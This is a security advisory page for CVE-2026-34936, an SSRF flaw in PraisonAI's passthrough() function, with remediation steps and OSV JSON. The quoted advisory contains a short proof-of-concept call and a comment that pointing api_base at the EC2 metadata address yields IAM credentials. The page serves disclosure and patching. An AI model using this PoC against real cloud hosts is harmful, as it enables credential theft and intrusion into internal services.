CVE-2026-34936: PraisonAI SSRF Vulnerability

HIGH
Advisory Identifier: GHSA-x6m9-gxvr-7jpv
CVSS 7.7
CWE-918
Published
Advisory Summary

CVE-2026-34936 is a HIGH (CVSS 7.7) ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves ssrf via unvalidated api_base in passthrough() fallback. Remediation is available by upgrading affected packages to version 4.5.90.

CVE-2026-34936 at a Glance

CVE Identifier CVE-2026-34936
GHSA Identifier GHSA-x6m9-gxvr-7jpv
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-34936

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai fixed: 4.5.90
pip install praisonai>=4.5.90
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-34936, inspect your installed packages using pip:

pip show praisonai

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.90), your application is affected.

Note: The pip show praisonai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `passthrough()` and `apassthrough()` in `praisonai` accept a caller-controlled `api_base` parameter that is concatenated with `endpoint` and passed directly to `httpx.Client.request()` when the litellm primary path raises `AttributeError`. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server. ### Details `passthrough.py:92` (source) -> `passthrough.py:109` (fallback trigger) -> `passthrough.py:110` (sink) ```python # source -- api_base taken directly from caller def passthrough(endpoint, api_base=None, method="GET", ...): # fallback trigger -- AttributeError from unrecognised provider enters fallback except AttributeError: url = f"{api_base or 'https://api.openai.com'}{endpoint}" # sink -- no validation before request response = client.request(method, url=url, ...) ``` ### PoC ```python # tested on: praisonai 1.5.87 (source install) # install: pip install -e src/praisonai # start listener: python3 -m http.server 8888 import sys, litellm sys.path.insert(0, 'src/praisonai') del litellm.llm_passthrough_route from praisonai.capabilities.passthrough import passthrough result = passthrough( endpoint="/ssrf-test", api_base="http://127.0.0.1:8888", method="GET", custom_llm_provider="__nonexistent__", ) print(result) # expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...}) # listener logs: "GET /ssrf-test HTTP/1.1" 404 # on EC2 with IMDSv1: api_base="http://169.254.169.254" returns IAM credentials ``` ### Impact On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with `AUTH_ENABLED = False` by default, making this reachable over the network without credentials.

CVE-2026-34936 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.5.90
Product / Package Ecosystem Affected Versions Fixed Version
praisonai
PyPI
< 4.5.90
4.5.90

References

Frequently Asked Questions

What is CVE-2026-34936?
CVE-2026-34936 is a security vulnerability in PraisonAI involving SSRF via Unvalidated api_base in passthrough() Fallback under CWE-918: Server-Side Request Forgery (SSRF).
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.5.90 across affected packages: praisonai.
What version fixes CVE-2026-34936?
Upgrading to 4.5.90 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai affected?
Yes, praisonai is affected in releases prior to 4.5.90. Upgrade your dependency to 4.5.90 or later.
What is the CVSS score of CVE-2026-34936?
CVE-2026-34936 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-34936?
CVE-2026-34936 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check PyPI dependencies for CVE-2026-34936?
Run the dependency tree command: 'pip show praisonai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x6m9-gxvr-7jpv",
  "modified" : "2026-04-06T22:54:03Z",
  "published" : "2026-04-01T23:21:45Z",
  "aliases" : [ "CVE-2026-34936" ],
  "summary" : "PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback",
  "details" : "### Summary\n\n`passthrough()` and `apassthrough()` in `praisonai` accept a caller-controlled `api_base` parameter that is concatenated with `endpoint` and passed directly to `httpx.Client.request()` when the litellm primary path raises `AttributeError`. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.\n\n### Details\n\n`passthrough.py:92` (source) -> `passthrough.py:109` (fallback trigger) -> `passthrough.py:110` (sink)\n```python\n# source -- api_base taken directly from caller\ndef passthrough(endpoint, api_base=None, method=\"GET\", ...):\n\n# fallback trigger -- AttributeError from unrecognised provider enters fallback\nexcept AttributeError:\n    url = f\"{api_base or 'https://api.openai.com'}{endpoint}\"\n\n# sink -- no validation before request\n    response = client.request(method, url=url, ...)\n```\n\n### PoC\n```python\n# tested on: praisonai 1.5.87 (source install)\n# install: pip install -e src/praisonai\n# start listener: python3 -m http.server 8888\nimport sys, litellm\nsys.path.insert(0, 'src/praisonai')\ndel litellm.llm_passthrough_route\n\nfrom praisonai.capabilities.passthrough import passthrough\n\nresult = passthrough(\n    endpoint=\"/ssrf-test\",\n    api_base=\"http://127.0.0.1:8888\",\n    method=\"GET\",\n    custom_llm_provider=\"__nonexistent__\",\n)\nprint(result)\n# expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...})\n# listener logs: \"GET /ssrf-test HTTP/1.1\" 404\n# on EC2 with IMDSv1: api_base=\"http://169.254.169.254\" returns IAM credentials\n```\n\n### Impact\n\nOn cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with `AUTH_ENABLED = False` by default, making this reachable over the network without credentials.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.90"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.5.89"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x6m9-gxvr-7jpv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34936"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T23:21:45Z",
    "nvd_published_at" : "2026-04-03T23:17:05Z"
  }
}